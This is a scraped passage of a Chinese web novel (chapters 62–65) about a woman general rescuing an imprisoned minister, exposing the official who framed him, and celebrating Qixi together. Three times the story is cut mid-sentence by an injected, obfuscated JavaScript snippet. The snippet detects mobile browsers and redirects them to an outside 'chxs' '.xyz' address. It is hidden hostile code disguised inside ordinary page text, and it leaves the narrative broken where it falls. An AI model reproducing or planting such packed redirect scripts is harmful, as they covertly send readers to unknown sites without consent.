然则孤弈行骑马途径散花楼之时,却见楼外一男子身影有些熟悉。孤弈行定睛一看,竟是赵霖,赵霖显然也看见了她,快步向她走来。 孤弈行见他有些反常,故而翻身下马。她回想起方才的情景,赵霖靠在楼外却不曾进楼,而是望着街巷,倒好像在等什么人。 “你在等我?”孤弈行眉心微蹙。 赵霖使劲点了点头:“你终于回来了,言煜出事了。” 声声入耳,孤弈行心头一沉:“出了何事?他人在哪儿?” 赵霖环顾四周见无耳目,压低了音量:“陛下眼下怀疑无影阁和言煜有关,又有小人煽风点火,言煜眼下被关押在在刑部大牢。” “你说什么?”孤弈行眯了眯眼,右手下意识微微攥紧,“他不是去了靖州吗?再者,为何我不曾收到一点消息?” 赵霖微微颔首:“言煜先前的确去了靖州,但去了之后没过多久无影阁内出了叛徒,西门街的站点被端了,那叛徒一口咬定言煜就是无影阁阁主,陛下大怒。” 孤弈行定了定神,强忍着心绪:“无影阁可还有其他损失?” 赵霖愣了一下:“这倒没有。” “多谢相告。”孤弈行点了点头,翻身上马。 “你眼下去哪儿?” 孤弈行不曾有片刻犹豫:“进宫面圣。” 听了这话,赵霖眉头紧锁,额间不由得沁出几颗汗珠:“陛下正在气头上,你切莫冲动,否则不仅救不出言煜,还会赔上你。” “那又如何?我心中有事不明,必须亲自见他一面。”孤弈行心头一横,随即道,“多谢提醒,但我愿意赌一把。” 言罢,孤弈行策马扬鞭而去,唯余赵霖站在原地。 赵霖远望着女子离去的背影,良久无奈地笑了笑:还真是和言煜一样的性子,都是不要命的主儿!但都一样重情重义。 御书房外。 “陛下,靖宁将军求见。” “让她进来。” 张若茂走到孤弈行身边笑了笑,声音阴柔:“洛将军,陛下让你进去。” “多谢张公公。”孤弈行点了点头,迈入御书房。 御书房内,喻威着一身明黄五爪龙袍斜靠在软榻上,眼眸深沉,令人看不分明情绪。他微微抬眸,抿了抿唇:“回来了?” “是,南风寨答应招安,眼下已编入幽州军。”孤弈行道。 喻威点了点头:“燕州的事你办得不错,是大功一件,想要朕如何赏你啊?是想要黄金还是府邸?亦或是官升二品?” “能替陛下解忧是臣的本分,无需赏赐。” 喻威似是有些意外,勾了勾唇:“既是立了功自然得赏,你自己说吧,要朕如何赏你?” 孤弈行缓缓抬眸,与喻威对视,眼神丝毫不怯:“若陛下执意要赏,就赏臣见言大人一面,并彻查无影阁一事。” 62. 狱中见 声声入耳,喻威的眼神顿时阴沉,他眯了眯眼,眉间染了几分愠色:“你可知言煜所犯何事?” 孤弈行抬眸:“臣虽只知此事与无影阁有关,但臣相信言大人是清白的。” “胡闹!”喻威拍案而起,龙目圆瞪,“既然你不知前因后果,那朕就来告诉你!” “前日吏部尚书关云雷告言煜便是那情报组织无影阁之主,并有证人在侧,后今日又查出西门街锦字衣肆确为无影阁在京站点,眼下人证物证俱在,若说言煜不是无影阁之主,那谁是无影阁之主!” 喻威声音低沉又夹杂着沙哑:“朝中何人不知朕想要无影阁多年,但如今却查出朕的左膀右臂就是这无影阁之主,你让朕如何不怒!” 孤弈行微微欠身:“恕臣冒犯,臣想问陛下一句,既然人证物证俱在,陛下为何还不定罪?” 喻威以为对方还要为言煜求情,却不成想突然来这么一句,愣了一下,良久长叹道:“此人是个奇才,死了确实可惜。但若心存异心,便绝不能留!” “臣虽属意言大人,但更深知自己先是陛下的臣子,若陛下信任,臣愿为陛下分忧。”孤弈行朱唇微启,声音掷地有声。 喻威抬了抬眸:“你有何主意?说来听听。” “据臣观察,这些年言大人可谓是位高权重,是陛下面前的红人。”孤弈行侧目看喻威的反应,见喻威点了点头,若有所思。 “也就是说言大人深得圣宠,眼红的人应当不少。” 喻威拂了拂衣袖:“你是意思是说此案另有玄机,或许是背后有人诬陷。” 孤弈行不予置否:“这些只是臣的猜测,臣以为既然陛下心惜贤才,应先查明此案,届时若言大人是受人诬陷,陛下则不必心忧,若言大人真是无影阁之主,那陛下按律处置便可。眼下一切尽在陛下掌握之中,不过是早几日晚几日的事罢了。” “此言有理。”喻威与对方对视,眼神夹杂着试探,言语之间尽显压迫,“但你届时若是查不出玄机呢?你让朕如何给文武百官一个交代?” 孤弈行眼神坚毅:“若查不出玄机,全听陛下处置!” 片刻后,孤弈行自御书房而出,自宫门策马直往刑部大牢而去。 “何人擅闯?”门口士卒道。 孤弈行从衣袖取出一块紫檀木嵌金令牌,声音干脆:“靖宁将军洛川奉陛下之命见言煜一面。” 士卒接过那令牌仔细端详,见真是天子手令,连忙笑道:“既是陛下的意思,将军请。” 孤弈行迈入刑部大牢,见四周皆是高墙,光线逐渐暗了下来,气味也有些潮湿。她眉心微蹙,心想言煜那般弱的身子也不知是否承受得住。 然而孤弈行没走几步,便听闻不远处传来嘈杂的声音,孤弈行定睛一看见那处摆着一张方桌,一群狱卒围在桌旁竟在聚众赌博! 孤弈行快步走过去,正要开口却见一肥头大耳的男人嘴里吃着花生,含糊不清道:“你说这曾司狱怎么还不出来,小心下手太重把人给打死了!” “那你不知道当年这曾司狱没晋升就是因为被这言大人挑了错处,以前人家是陛下面前的红人曾司狱自是不敢动,可如今犯了大事来了大狱可不得招待招待。”旁边一狱卒笑道。 孤弈行心头一沉,眉间染了几分戾气:“你们在说什么!” 众人正说得起劲,突然被唬了一嘴都吓了一跳,而后定睛一看见来者的穿着打扮像是个大官,心头更是一颤。 “长……长官……” “狱中聚众赌博,事后自去领三十大板!陛下命我见言煜,尔等带路!”孤弈行手持令牌,扬眉道。 “是是是!” 那肥头大耳的男人随即主动给孤弈行领路,孤弈行却见他频频侧目给身旁一狱卒使眼色,身旁一狱卒随即起身。 孤弈行心头一横,拔出佩剑架到起身欲走的狱卒脖子上,他顿时脸色煞白,不敢移动分毫。 “我洛川脾气不太好,若是你乖乖坐着,自然无事,若是你要去给谁报信,那你且看看你是脚快,还是我剑快!”孤弈行冷言道。 那狱卒顿时吓破了胆,径直跪了下去:“不敢不敢,小的就坐在这儿,哪儿都不去!” 孤弈行转身:“带路!” 肥头大耳的男人领着孤弈行转了几个弯,眼看着就到了大狱最深处,孤弈行听到不远处有说话声传来,待到走近了些,总算听清了。 “言煜,当日你阻拦我曾朝升官发财的时候,可曾想到今日会落在我的手里?” 熟悉的笑声响起。 “那岂不是印证了言某当日所言无错?” “你!” 长鞭落地,随后是抽打在肌肤上划破血肉的声响。 门未关上,孤弈行见言煜四肢皆被沉重的铁铐铐着,素色的中衣上可见斑斑伤痕,每一处都渗着鲜血。他长发散落,唇色泛白,却还是笑着,孤弈行眼眶不自觉微红。 就在此时,曾朝又一次扬起长鞭,孤弈行径直上前抓住鞭尾,向后一拉曾朝手里便脱了力,孤弈行顺势甩起长鞭,狠狠抽了他一记。 这一记极狠,曾朝胸膛处顿时皮开肉绽,他吃痛没忍住叫出了声,随后眼神阴沉,狂怒道:“大胆狂徒,竟敢擅闯刑部大牢!” 孤弈行冷哼了一声,从衣袖中取出紫檀木嵌金令牌在曾朝眼前晃了晃,提高了音量:“曾朝,睁开你的眼睛好好看看!” 曾朝眯了眯眼,看清了那令牌上的花纹,后背一时有些发凉。 他强忍着定了定神,见面前女子作男子打扮,英姿飒爽,与寻常女子不同,试探道:“莫非你是……靖宁将军?” “不错。”孤弈行上前一步,眼神压迫,“陛下命我前来,却不成想倒是见了曾司狱的风采。” 曾朝听出对方话里有话,陪笑道:“不敢不敢。” “说起来陛下可曾让曾司狱用刑?” 曾朝愣了一愣,强颜欢笑:“不曾……但……” 孤弈行直接打断了他。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916564|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “既然陛下不曾下令,曾司狱这可算是滥用私刑。”孤弈行勾了勾唇,冷笑道,“滥用私刑该当何罪,曾司狱应当清楚。” 声声入耳,曾朝双腿一软:“将军饶命!将军饶命!” “拖出去!” “是!” 孤弈行转身与一众狱卒对视:“有些人来了这狱,就是到了断头路,可有些人说不准何时就走了出去。你们都是聪明人,这其中的道理想必应当掂量得清楚。” 狱卒面面相觑,皆面露惧色:“是,明白了将军。” “退下吧,我有话问言煜。” “是。” 待一众狱卒走远,孤弈行才转过身,见言煜正勾唇看着她。 “洛将军确实威风,言煜甘拜下风。” 都到这个时候了,还有心情贫嘴。孤弈行见他一笑心里堵得难受,没好气道:“你是该好好反思反思,怎么我去一趟燕州的功夫,堂堂吏部尚书就把自己弄到这刑部大狱来了。” “还……”孤弈行走得近了些,那些伤口更是触目惊心,她终究是软了心,“疼吗?” 言煜知她担心自己,摇了摇头:“不疼。” 孤弈行拿出狱卒交给她的钥匙,替言煜解开铁铐,咬了咬牙,眉间满是戾气:“这个曾朝,他怎么敢!” “曾朝不过是小人物,纵然可恨,不足为虑。” 孤弈行让言煜坐下,又从衣袖中取出一个白瓷瓶,将白色的药粉均匀撒在他裂开的伤口上。 “这是千衣前辈给的药,过几日应当就没事了,只是你难免要受些皮肉之苦。”孤弈行眉心微蹙。 “无妨。”言煜抿了抿唇,侧目望着孤弈行,“你不问我发生了什么?” 孤弈行知自己被蒙在鼓里,心中有些不悦,便故意呛他:“我不问你不是也会自己说吗?” 言煜听出她心中有气,笑道:“生气了?” 听了这话,孤弈行实在忍不住了,抬眸与言煜对视:“言焕卿,你心里有什么盘算,为什么不直接和我说?” 言煜愣了愣,薄唇微启:“你……都猜到了?” “你难道不知我会担心吗?”孤弈行眉头不展,眼神动情,“入狱不是小事,但凡行差踏错后果不堪设想,你应当提前与我商量。” 这下言煜能感觉到孤弈行是真的生气了,他神色严肃了些,眼神真挚:“这次是我的错,让你担心了。” “我通过陆耳得知孟启便是南风寨寨主,本以为你会在幽州停留一段时日,便想着待你回到京都之时一切都已摆平,这样你也不必替我挂心,却不成想你日夜兼程直接回了京。” 声声入耳,孤弈行气消了大半,恢复了往日神色:“所以究竟发生了何事让你不惜舍弃费心经营的西门街站点,甚至不惜以身入局铤而走险?” “无影阁出了奸细。”言煜迎上孤弈行目光。 孤弈行若有所思:“所以……你其实早就发现了。” 言煜微微颔首。 63. 飞鹰认主 “奸细应是刑部尚书关云雷十日前安排进入无影阁的,早在他进入后不久便有手下发现此人行踪可疑。” 言煜薄唇轻抿,眸色渐沉:“要想除一个奸细并不难,但难的是如何除掉这之后的一个又一个奸细。” 孤弈行听出言煜的心思,抬了抬眸:“所以你是想永绝后患?” 言煜浅笑颔首:“知我者,弈行也。” 孤弈行不自觉勾了勾唇,岔开话题道:“所以这关云雷与你又有何愁何怨,这么想置你于死地?” “官场之争罢了,此人心术不正,我与他政见不合已久,想必他早就把我视为眼中钉肉中刺。”言煜嘴角微噙,唇边扬起几分不屑。 孤弈行坏笑:“既然他这么想立功,不如就让他来当这个靶子,和我说说你的打算。” 一个时辰后,孤弈行离开刑部大牢,直往将军府而去。琴潇本以为孤弈行是要搜寻线索,却不不成想孤弈行人在府中坐,竟似丝毫不着急。 “小姐今夜不去其他地方找线索吗?”琴潇终究是没忍住。 孤弈行摇了摇头,拿了桌上小碗里的几颗花生扔入口中,神情悠闲:“不急,等会就来事了。” 琴潇还是有些摸不着头脑,但见孤弈行胸有成竹便也没有再多问。 结果没过多久,府外就收到一张从关府来的请帖,原来明日是吏部尚书关云雷四十生辰的日子。关云雷此人爱面子擅结交,是以明日生辰必当宴请权贵,大摆筵席,不过这倒是正合孤弈行心意。 琴潇见孤弈行深色如常,道:“小姐似乎并不惊讶。” “生辰?”孤弈行瞥了几眼,随即将请帖随手扔在一旁,嘴角不自觉微微上扬,“姓关的以为胜负已定,却殊不知精彩的还在后头!若论起心思来,姓关的还是差远了。” 孤弈行微微抬眸:“明日你不必和我同去,替我办件事,就带人在街上四处询问消息装装样子便可。” “是。” 次日,孤弈行申时到了关府,见关府上下张灯结彩,不知道的还以为是办了什么不得了的大喜事。 孤弈行冷笑着勾了勾唇,远远望见关云雷着一身紫青软锻长袍在府外迎接宾客,从始至终嘴角不曾合上,她径直走了过去。 “关大人,恭喜啊恭喜啊!” 关云雷闻声侧过身来,似是有些意外,但他很快回过神来笑道:“靖宁将军肯赏脸前来,真是令关府蓬荜生辉啊,里边请!” “关大人客气了。”孤弈行眉眼轻扬,随即入内。 然而孤弈行还未在座位坐下便遇上了贾钊。 孤弈行此次招安南风寨立了大功,原本贾钊就是个墙头草理应对其陪笑讨好,但眼下出了无影阁一事,贾钊的态度便多了几分审时度势的意味。 “靖宁将军,真是巧啊。”贾钊的态度不冷不热。 孤弈行也不在意,眉心微挑:“贾将军,又见面了。” 就在此时,关府上空有五六只雄鹰飞过。雄鹰似乎认准了地方,盘旋许久不曾离去。 “这是什么东西?”贾钊忍不住站了起来。 孤弈行只道:“洛某先去盥洗,便失陪了。” 孤弈行在关府下人的引领下走过长廊,见一年轻男子作小厮打扮端着茶壶,但却频频向孤弈行这处望来。 孤弈行继续向前走,走到那小厮身旁微微侧身靠近,便与他撞了一下。小厮双手脱力,茶壶碎了一地,衣袖里也有东西掉了出来。 “大人实在对不住。” “无事。”孤弈行扶起那人,随即往地上定睛一看见是几封信笺,最后一封上面写了三字“致阁主”。 孤弈行夺过信笺,皱了皱眉:“这信哪儿来的?” “这是……是……”小厮低着头,身体忍不住颤抖。 “靖宁将军,这是怎么了?” 此时关云雷还不知发生了什么,依旧满脸笑意。 孤弈行勾了勾唇,与关云雷对视:“关大人,这生辰宴洛某恐怕是参加不了了,关大人若还有什么话等着之后与陛下解释吧。” 言罢,孤弈行转身离去,只留关云雷立在原地。 孤弈行入宫后将在官府内发现的信笺和雄鹰一事全然告知喻威,喻威大怒,下令彻查关府,结果在关府内发现了一张西门街锦字衣肆的具体部署图,还有更多来往信件。 喻威紧急召见众臣,命人将关云雷带上殿,关云雷却从始至终只是喊冤。 “众爱卿以为,这件事该当如何?” 喻威声音低沉,显然压抑着怒意。虽然事情看似已有转机,但他心中依旧有几分疑虑不曾完全打消。 “臣想到一件事,不知陛下可听过无影阁飞鹰传信,信系右爪的传闻?”说话的是光禄大夫魏舒朗。 “有所耳闻。” “无影阁的飞鹰都是经过特殊驯化的,是以飞鹰对阁主认主,方才听靖宁将军所言关府上空有雄鹰盘旋,何不让关大人与言大人一试,看看这些雄鹰究竟认何人为主,如此结果便可分明。” “陛下,臣也有所耳闻,以为魏大人此计甚妙,只是……方才不曾想到。”蒋闻年陪笑道。 喻威点了点头,声音低沉:“既然如此,便试试吧,洛爱卿你即刻去把言煜带到关府。” “是。”孤弈行道。 半个时辰后,孤弈行带着言煜到了关府。此时关云雷已然被五花大绑在一块木桩上,早已没有了生辰宴上的神气。 好好的生辰宴倒成了催命符,孤弈行想想就觉得解气,不过说到底还是他自找的。 “陛下,言煜带到。” 言煜欠身:“臣言煜参见陛下。” 喻威微微颔首:“今日为何叫你来想必你已知晓,开始吧。” “是。” 言煜走到关云雷身旁,与他并肩而立。 此时孤弈行察觉到关府上方的雄鹰似乎突然格外躁动,盘旋速度越来越快。她微微侧身望向屋檐一角,神色几不可察。 没过多久,孤弈行便感觉到有一只雄鹰逐渐逼近,似有俯冲之态。 此时关云雷还不明所以,心想自己是被冤枉的雄鹰自然落不到自己头上,他偏过头去看了一眼言煜,一脸看好戏的模样。 雄鹰俯冲速度越来越快,眼看着就要逼近喻威,孤弈行抽出佩剑护在他身前,却见那雄鹰竟陡然调转方向最终稳稳落在关云雷的肩膀上。 关云雷脸色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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言煜点了点头:“不错,他可以与鹰对话,让鹰服从他的命令。” “倒有几分神奇。”孤弈行眉心微挑。 将至言府门口之时,言煜的脚步逐渐放缓。孤弈行察觉到他的异样,朱唇微启:“怎么了?” 言煜怅然一笑:“想必母亲这些日定夜不能寐,也不知是否消瘦了许多。” 孤弈行握住他的手安抚他的情绪:“先进去吧。” 言煜点了点头,与孤弈行一起迈入言府。 “主君回来了!快去禀报夫人和小姐!”下人见到言煜,连忙道。 沈宣清和言云芮听到消息很快都迎了出来,沈宣清眼眶含泪,言云芮也一时失语。 “煜儿,你回来就好……回来就好……”沈宣清拭去眼角的泪痕,哽咽道。 言煜径直跪了下去:“言煜不孝,让母亲还有妹妹担心了。” 沈宣清伸手去扶言煜:“快起来,为娘不怪你。也多亏了洛将军昨日来传信,为娘这心里啊才算有了底。” 64. 七夕 昨日传信…… 声声入耳,言煜微愣,随后侧身望着孤弈行,薄唇微启:“昨日……” 孤弈行不予置否,勾了勾唇:“我知你心系夫人,便秘密派人送了一封信。” “此处不是说话的地方,我们先进屋吧。” 孤弈行点了点头:“好。” 孤弈行,言煜,言云芮进屋后,沈宣清屏退了下人,屋中便只剩四人。 沈宣清与孤弈行对视,随即欠身深深地鞠了一躬:“昨日殿下在信上冒着风险印下孤氏私印打消了我的疑虑,我在此多谢殿下!” 孤弈行上前扶住沈宣清:“夫人快请起。” “什么殿下?什么孤氏私印?娘你在说什么我怎么听不懂啊!”言云芮听了个一头雾水,急着道。 孤氏私印……言煜眸色一沉。言云芮不明白这孤氏私印的意义,可他却很是清楚,那是孤氏王族身份的象征。言煜本以为此印早已丢失,却没想到还在孤弈行手里,还被孤弈行用在了这封信上。 若是换作平时,言煜定会觉得孤弈行胡闹,只因若此印一旦被旁人看见孤弈行费心隐藏的身份便会暴露,她也会有性命之忧。但此时此刻,他却只觉得心头一阵泛酸,眼眶微红。 他是在赌,可她又何尝不是?但好在,他们都赌赢了。 孤弈行见言煜望着自己神色与往日有些不同便猜到了他的心思,眉眼轻扬,故作玩笑:“你可不要愧疚,若非是你,我如今还在峨眉,又怎会记起一切回到京都?” “下一次,我绝不会再以身犯险,让你担心。”言煜握住孤弈行的手腕,目光灼灼。 孤弈行浅笑颔首,余光却瞥见一旁愣住的言云芮。她知事到如今,她的身份已不必隐瞒,便摘下了人皮面具。 记忆中熟悉的面庞突然出现在自己眼前,言云芮几乎以为是自己的幻觉。她使劲揉了揉眼睛,才发现竟是真的,眼眶里顿时又泪水打转。 “女帝姐姐……原来……原来就是你。” 孤弈行勾了勾唇,笑着抱住了言云芮,打趣道:“别哭,哭了可就不好看了。” “我没哭……”言云芮连忙拭干泪痕,鼻尖微红,突然回想起自己之前说的话,委屈中夹杂着心虚,“我之前不知道是你,还想让你知难而退来着……” 话音未落,孤弈行,言煜和沈宣清都没忍住笑了。 “你不是也替我说好话了吗?我当时一点都没生气,甚至还有点感动呢。”孤弈行故意啧了啧嘴。 “真的?”言云芮眼里顿时有了光。 孤弈行挑了挑眉,语气软了下来:“自然是真的。我孤弈行何时骗过你?” 言云芮到底还是个孩子脾气,顿时喜笑颜开,抱住了孤弈行:“那太好了!” 由于言煜在狱中受了伤,喻威便让其在府中修养几日不必上朝,连带着也给孤弈行放了几日假,加之沈宣清邀请孤弈行在府中住下,孤弈行便过上了回京以来难得的清闲日子。 “洛姐姐,洛姐姐,你起了吗?起来用早膳了!” 孤弈行听出是言云芮的声音。 为了避免不必要的麻烦,自那日后她便让言云芮在众人面前叫她洛川。 “来了!”孤弈行伸了个懒腰,一个鲤鱼打挺起了身,随即以飞快的速度洗漱完毕,换上了一件绛红束腰长袍。 孤弈行到时言煜和沈宣清都已到了,言煜下意识地伸手舀了一勺炖好的白粥到她碗里,唇边笑意浓重。 孤弈行勾了勾唇,见言煜今日着一身靛蓝雨花锦圆领袍,长发半披半散,颇有贵公子的意味。不知为何,孤弈行总觉得言煜今日有些反常。 “伤好得如何了?”孤弈行喝了一口白粥,道。 言煜薄唇轻抿:“用了你给的药,已然痊愈。” 孤弈行颔首:“那便好。” 孤弈行一口气喝了一大口白粥,伸手又去拿盘子里的白馒头,却见沈宣清站起身来。 “你们慢慢吃,院里还有些事要处理。”沈宣清浅笑,目光随即落在一旁的言云芮身上,“云芮,快来帮忙!” “来……来了!” 言云芮囫囵吞枣似的吃完了最后一口馒头,随即起身跟上了沈宣清,二人很快消失在孤弈行的视线中。 孤弈行觉得纳闷:怎么今日一个个都奇奇怪怪的。她回过头,正好对上言煜的目光。 “今日都是怎么了?这一个个的……好生奇怪。”孤弈行总算忍不住了,开口道。 “你先慢慢吃。”言煜眼眸含笑,眼尾微微上扬,“今日天气好,我带你出去逛逛吧。” 孤弈行愣了一愣,随即勾了勾唇:“好啊。” 言罢,孤弈行抓了个白馒头,三下五除二便解决了,拍了拍衣袖仰头道:“走吧。” 言煜唇角轻勾,望着孤弈行不语,孤弈行被打量得有些不自在正欲开口,却见他指尖触碰到了自己的嘴角。 “现在好了。”言煜凤眼含笑。 孤弈行这才反应过来原是自己吃得太过随意,唇边挂上了些许饭渍。她摸了摸嘴唇,恣意一笑,边走边道:“今天怎么想起来约我出去走走?” “今日……”言煜微微侧目,声音如和风细雨,“有些特别。” 孤弈行不明所以,抬眸道:“何处特别?” 然而还没等言煜回答,孤弈行便发现今日街上确实有些特别,街道两旁的商铺似乎都在办什么活动,街上到处都是成双成对的青年男女。 孤弈行定睛一看,见商铺门口都贴着七夕的字样,心中顿时明了,唇角不自觉微微上扬。 “原来是想约我一起过七夕啊!”孤弈行歪了歪头,仔细回忆道,“怪不得今日夫人和云芮都奇奇怪怪的,见了我就躲。” 言煜的心思被揭穿,他故意咳嗽掩饰,脸颊染上了些许红晕。他望着孤弈行,语气试探:“你……是不愿意吗?” 孤弈行没有立刻回答,见言煜的眼神暗了下去,随即一把拉住言煜的手,坏笑道:“你早说就不就完了,何必绕这么大圈子?前面那家商铺门口的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931923|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小摊围了好多人,我们去凑凑热闹吧!” 言煜回过神来,自嘲地笑了笑,任凭孤弈行拉着自己的手,眼神宠溺:“好。” 待走得近了些,孤弈行发现这家商铺门口的小摊上摆十来个木盒子,小摊前摆了一块木牌,上面写着“喜蛛应巧”四个字。 “来来来各位客官,走过路过不要错过啊!今日七夕节,小店特别推出一个活动,也就是这喜蛛乞巧。” 小贩笑着吆喝道,说着打开了手边的一个木盒,木盒里一只黑色的蜘蛛便出现在众人面前,有些胆子小的小娘子见状倒吸了一口冷气,向后退了一步,孤弈行倒是被勾起了兴趣。 “各位放心,这蜘蛛啊是无毒的!所谓喜蛛应巧的规则呢,就是各位可以选一个木盒买下,里面各有一只蜘蛛,今日黄昏之时各位再来小摊,所买木盒里蜘蛛结的网最圆最密的前三位客官便可以随意选一件稀奇物件。” “所谓的稀奇物件有哪些?”孤弈行勾了勾唇道。 小贩笑着从抽屉里拿出了一个珍宝盒,而后小心打开:“这里面有价值连城的头面,洋人那收来的八音盒,绣金折扇,夜明珠还有一把来自西域的弯刀。” 孤弈行放眼望去,见多是些徒有其表的玩意儿,除了那把西域的弯刀,她几乎是一眼相中。 “你看那把弯刀如何?”孤弈行望着言煜道。 言煜见那弯刀体积并不大,却胜在格外轻巧,且刀柄漆黑如墨,嵌有一小块红宝石点缀,刀锋锋利异常,确实是把不俗的好刀。 “很配你。”言煜抿唇浅笑,随即从钱袋里取出一块碎银递给小贩,与孤弈行对视,“挑一个木盒,我们黄昏再来。” 孤弈行笑着颔首,随即目光落在了离自己最近的木盒身上:“我就要这个。” “好嘞!二位黄昏别忘了来小摊!” 孤弈行拉着言煜的手继续往前走,路过一个卖糖葫芦的老爷爷,挑了一串晶莹剔透的糖葫芦,低头欲正欲拿钱袋,却被言煜挡住了。 “今日,都算我的,你喜欢什么就买什么。”言煜勾了勾唇,随即拿了铜板递给老爷爷。 孤弈行眉心微挑,顺势挑了一串糖葫芦,咬下一整个裹了冰糖的山楂含在嘴里,打量着言煜。 “你说的?”孤弈行恣意一笑,单手叉腰,“那我可得好好看看,争取让你破产一回!” 言煜被她逗笑了:“好,我说话算话,都依你的。” “做巧果啦!做巧果啦!走过路过不要错过哦!”不远处传来吆喝声。 “巧果是什么?我还从未听说过这个东西。”孤弈行望着言煜道。 “巧果也叫麻巧,七夕吃巧果是一种传统习俗,在人们心中寓意着女子心灵手巧,情缘美满,家庭幸福。”言煜应道。 孤弈行点了点头,笑道:“原来如此,这我从前在祁地还从未听说过。” 言煜听出她的心思,抿唇一笑:“不如我们也去试试?” “好啊!”孤弈行眉眼轻扬,恣意一笑。 65. 巧果 “阿哥阿姐,做巧果吗?”吆喝的是一个十五六岁的少年。 孤弈行放眼望去,见小摊旁围坐了不少人,其中几个小女娘个个动作熟练,看上去手是个顶个的巧,孤弈行顿时心虚地笑了笑:“可是……我不会。” 少年笑着露出了大白牙,语气很是热情:“没关系的阿姐,阿婆会教你的,你跟着做就是了。” “那好吧。”听到有人教,孤弈行长舒了一口气,“随便坐?” 少年点了点头:“阿姐你们先坐下,阿婆一会就过来。” “好。” 言煜递给少年一粒碎银,而后被孤弈行拉着在角落的空位坐下,见桌上摆满了所需的材料,有木盆,白糖,猪油,面粉,用来调色的红曲米粉,还有各式各样的模子。 没过多久,果然有个头发灰白的老阿婆走了过来,她看了一眼坐着的青年男女,笑道:“郎君和娘子可准备好了?” 孤弈行与言煜相视一笑,点了点头。 “首先先倒入白糖和猪油搅匀。”老阿婆说着动手示范,将白糖和猪油倒入木盘中,而后用洗净的手搅拌均匀。 孤弈行有样学样,虽然觉得手上油腻腻的有些难受,但总得来说感觉还不错。 “然后倒入面粉搅拌均匀,加入红曲米粉调色,搅拌均匀后揉成面团。” 孤弈行按照老阿婆教的往木盆中倒入面粉,结果手一抖差点没把装面粉的碗弄翻,还把自己弄成了个花猫,孤弈行终究是没忍住侧过身去连连呛了好几下。 “没事吧?”言煜放下木盆,眼神关切。 “没……没事。”孤弈行强忍着,却还是咳嗽了好几下才调整好回到座位上。 “娘子小心些。”老阿婆见了笑道。 孤弈行尴尬一笑,随即埋头将红曲米粉倒入木盆搅拌均匀。 但孤弈行却越来越觉得不对,她手中面团的手感简直干巴得不像话。于是她扭头去看一旁老阿婆和言煜手上的面团都是光滑圆润,与自己的截然不同。 老阿婆意识到孤弈行在看自己,抬头去看孤弈行手中的面团,笑着摇了摇头:“娘子方才手抖面粉倒多了,面团才会这么干,干巴的面团做出来的巧果可就不好吃了。” 此时孤弈行真想找个地缝钻进去。 她心想早知道她就不一时兴起做什么巧果了,她的手艺她自己还不清楚吗?捻花弹琴制香她是样样不行,小时候要她做女工简直和要她的命没什么两样。 老阿婆见孤弈行笑得有些尴尬,伸手去取了些水撒入她盆中,安慰道:“若是干巴多加些水就好了,娘子再试试。” 孤弈行偷偷看了言煜一眼,随后笑着点了点头,继续摆弄手中的面团,发现加了水后总算是好多了。 面团揉成之后,便要盖上纱布发酵一刻钟。 孤弈行是个静不下来的,觉得这一刻钟格外漫长,东张张西望望,还忍不住翘起了二郎腿。 “在想些什么?”言煜望着孤弈行,抿唇浅笑。 “没什么,就是觉得这一刻钟有些漫长。”孤弈行勾了勾唇,“也不知道幽州老鲍他们,还有武延城沈离松他们在做些什么。” 言煜思量片刻,薄唇微启:“你……是想他们了?” “自然是想的。”孤弈行毫不犹豫地回答,眉眼轻扬,“不过我倒是觉得说不定沈离松如今正和雀瑶在一起呢,他们俩我瞧着有些古怪,倒是般配。” 声声入耳,言煜心绪平复了些:“沈将军与雀瑶姑娘确实般配。” “郎君娘子,面团发好了,可以用选模子定型了。”老阿婆看了看发好的面团,笑着眯了眯眼。 孤弈行笑着颔首,随后在众多模子里选个狐狸形状的模子,捏了一小块剂子放平再学着老阿婆的样子把模子放在剂子上按下去,一个狐狸模样的巧果便出现在孤弈行手中。 老阿婆瞥了一眼孤弈行手中的狐狸巧果,一脸不解。她在七夕这一日教年轻的郎君和娘子做巧果有好多年了,还是头一次见人选狐狸样子的模子的。 是以老阿婆好心问道:“娘子要不要再选个别的形状?” 孤弈行摇了摇头,笑着与言煜对视,扬唇一笑:“不用了阿婆,我就喜欢这个。” 言煜勾了勾唇,嘴角忍不住微微上扬。 孤弈行说着又做了好几个狐狸形状的巧果,正满心欢喜地想要将其放入蒸锅时却发现巧果黏着盆子竟是拿不起来了。 孤弈行硬是不信邪,又多使了些力气,结果巧果是拿起来了,却都烂了个彻底,早已看不清上面的图案,看上去东一揪西一揪的,简直是丑得可怜。 “娘子别急。” 老阿婆见孤弈行又要嚯嚯剩下的一个狐狸巧果,连忙走过去在手上抹了点面粉,使了点巧劲轻松便把黏住的巧果完整地拿了起来,于是这个狐狸巧果变成了唯一幸存的独苗。 “娘子方才是不是忘了在底下沾面粉?”老阿婆笑道。 孤弈行点了点头,心里却依旧在和面团使别扭。 “郎君的也交给我吧,我拿去蒸。” 